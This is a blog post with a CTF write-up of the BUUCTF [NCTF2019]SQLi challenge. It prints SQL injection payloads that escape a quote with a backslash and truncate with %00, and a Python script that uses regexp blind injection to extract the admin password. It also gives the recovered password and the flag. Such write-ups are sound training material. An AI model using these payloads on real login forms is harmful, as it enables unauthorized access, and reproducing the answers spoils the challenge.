首页 > 数据库 >Web|Buuctf [NCTF2019]SQLi

Web|Buuctf [NCTF2019]SQLi

时间:2023-05-06 14:22:52浏览次数:44  
标签:username Web 00 Buuctf string passwd break SQLi flag


直接给出了查询语句

select * from users where username='' and passwd=''

构造语句查询,发现有过滤

fuzz一下,很多参数都被过滤

robots协议下发现hint.txt文件

hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag

解题思路

无引号闭合:可以利用转义符
注释符#和-- -:%00作为截断字符可以代替
爆破字符:利用regexp(正则匹配)注入配合 ^

盲注入

payload

username=\&passwd=||1;%00

# select * from users where username='\' and passwd='||1;%00'



当页面正确时响应页面会跳转到welcome.php

正则爆破

payload

username=\&passwd=||passwd/**/regexp/**/"^x";%00

以x去匹配flag,以x开头就匹配成功
脚本:

import requests
from urllib import parse
import string
url = 'http://9dcb13a9-12f1-4b96-b215-7288eab945ae.node4.buuoj.cn:81/'
num = 0 
flag = ''
string= string.ascii_lowercase + string.digits + '_'# flag是由小写字母数字和_组成
for i in range (1,30):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
        }
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            flag += j
            print(flag)
            break
        if j=='_' and 'welcome' not in res.text:
            break
you_will_never_know7788990

得到密码后以任意用户使用admin密码登录即可获得flag

flag{988dce50-d7d0-4456-b6c8-e4fe4abc2111}

标签:username,Web,00,Buuctf,string,passwd,break,SQLi,flag
From: https://www.cnblogs.com/scarecr0w7/p/17377162.html

相关文章

  • SpringWeb Flux入门
    新建项目,加入依赖:<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-webflux</artifactId></dependency><dependency><groupId>org.springframew......
  • Web|[SWPUCTF 2018]SimplePHP
    访问是一个文件上传页面,点击查看文件页面可以发现特殊的链接,应该存在文件包含http://dfef288e-1b73-48e0-9458-a4e733c40c38.node4.buuoj.cn:81/file.php?file=查看源码发现一些文件,页面内容提示flag在f1ag.php中index.phpfile.phpupload_file.phpf1ag.php直接包含f1a......
  • Reverse|Buuctf 简单注册器
    反编译apk文件,搜索flag找到关键代码publicvoidonClick(Viewparam1View){byteb=1;Stringstr=editview.getText().toString();if(str.length()!=32||str.charAt(31)!='a'||str.charAt(1)!='b'||str.ch......
  • web------JSF ----2
    JSF简介一、 什么是JSF:JavaServerFaces(JSF)是一种用于构建Web应用程序的新标准Java框架。它提供了一种以组件为中心来开发JavaWeb用户界面的方法,从而简化了开发。JavaServerFaces于2004年三月1.0版正式提出,清楚的将Web应用程序的开发者划分......
  • Could not create ActionMapper: WebWork will *not* work!
    CouldnotcreateActionMapper:WebWorkwill*not*work!解决方法:将webwork.properties的webwork.objectFactory=springwebwork.objectFactory.spring.autoWire=name 两行去掉就可以了......
  • Misc|Buuctf 喵喵喵
    查看exif信息无内容,binwalk查看拼接文件也无内容,使用zsteg有内容,说明有lsb隐写内容,使用StegSolve查看发现RGB0通道异常使用DataExtract模式查看,发现存在LSB隐写,隐写有一张图片,另存为图片但是无法打开使用010editor打开,发现文件头不正确,删除多余文件头,打开为半张二维码使用......
  • web视图层进化史
    经过多年的发展,视图层经历了四个阶段,一个java中写html阶段(前端语言和后端语言写在一文件里面,类如servlet)一个html中写java阶段(例如jsp)一个html中标签化java阶段(例如thymleaf模板引擎)html和java单独部署阶段,之间使用json格式传输数据,这种方式目前是主流方式(例如前端vue,后端springb......
  • Web
    node.js概述一分钟的视频讲了下spring和node.js的优劣,感兴趣的话可以康康spring生态好,使用者多,功能全面且稳定;node.js发展晚一些,框架多,但现在还处于各开发者群魔乱舞的阶段,比较混乱但在快速发展。教程当时自学不会的就看的黑马程序员,不懂的可以找对应的p看,讲得很细的可以开......
  • 使用Node.js调用Sqlite3模块写的大数据查询接口
    使用Node.js调用Sqlite3模块写的大数据查询接口constsqlite3=require('sqlite3');consthttp=require('http');consturl=require('url');constSqliteDb=async(dbFile)=>{constpri={};pri.db=newsqlite3.Database(dbFile);......
  • WPF项目中使用WInform版本的 ChromiumWebBrowser控件嵌套网页 解决中文输入法候选框定
    创建一个用户控件,后台代码:publicpartialclassCefControl:UserControl{ChromiumWebBrowserwebView=null;publicCefControl(){InitializeComponent();if(!CefSharp.Cef.IsInitialized){......